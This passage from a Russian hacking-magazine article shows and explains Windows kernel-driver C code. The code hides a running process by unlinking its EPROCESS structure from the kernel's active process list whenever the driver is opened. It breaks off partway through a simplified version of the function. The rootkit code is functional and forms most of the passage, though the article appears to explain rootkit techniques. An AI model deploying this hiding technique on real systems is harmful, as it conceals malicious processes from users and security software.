Враг неведом Зайцев Олег Спецвыпуск: Хакер, номер #070, стр. 070-034-5 // ***** Обработчик событий Открытия/Закрытия/Очистки ***** NTSTATUS DispatchCreateCloseControl (PDEVICE_OBJECT pDeviceObject, PIRP pIrp) { PIO_STACK_LOCATION pisl; // Получаем размещение IRP-стека pisl = IoGetCurrentIrpStackLocation (pIrp); // Маскируем процесс if (pisl->MajorFunction == IRP_MJ_CREATE) HideProcessByPID((DWORD)PsGetCurrentProcessId()); // Завершаем IRP-запрос pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 0; IoCompleteRequest (pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; } В данном случае при получении IRP_MJ_CREATE производится определение PID текущего процесса и его маскировка. Сама функция маскировки процесса крайне проста: VOID HideProcessByPID(int PID) { DbgPrint("Hide process. PID=%u", PID); KIRQL OldIRQL = KeRaiseIrqlToDpcLevel(); PEPROCESS CurrentProcess = PsGetCurrentProcess(); if (!CurrentProcess) return; PLIST_ENTRY CurrentProcessAPL = (PLIST_ENTRY)((ULONG)CurrentProcess + ActiveProcessLinkOffset); PLIST_ENTRY ProcessAPL = CurrentProcessAPL; ULONG ProcessPID; do { ProcessPID = *(PULONG)((ULONG)ProcessAPL – ActiveProcessLinkOffset + PIDOffset); DbgPrint("%u", ProcessPID); if (ProcessPID == PID) { ProcessAPL->Flink->Blink = ProcessAPL->Blink; ProcessAPL->Blink->Flink = ProcessAPL->Flink; DbgPrint("Process %u found and hidden", ProcessPID); break; } ProcessAPL = ProcessAPL -> Flink; } while (ProcessAPL != CurrentProcessAPL); KeLowerIrql(OldIRQL); } Эта функция повышает приоритет перед началом работы – это необходимо для защиты от маловероятной, но теоретически возможной ситуации – завершении одного из процессов во время работы цикла обхода структур EPROCESS. Маскировка сводится к тому, что при помощи функции PsGetCurrentProcess() мы получаем указатель EPROCESS текущего процесса. Далее мы производим обход цепочки структур EPROCESS до достижения одного из двух событий – обнаружения EPROCESS маскируемого процесса или завершения обхода всей цепочки и возврата к ее началу. При обнаружении интересующей нас EPROCESS- структуры мы просто исключаем ее из цепочки, переключая указатели Flink и Blink в обход. Рассмотренная функция универсальна, но для нашего случая избыточна: мы маскируем текущий процесс, поэтому искать, собственно, ничего не нужно, так как необходимую ссылку нам дает PsGetCurrentProcess(). С учетом этого можно упростить функцию: VOID HideCurrentProcess() { KIRQL OldIRQL = KeRaiseIrqlToDpcLevel(); PEPROCESS CurrentProcess = PsGetCurrentProcess(); |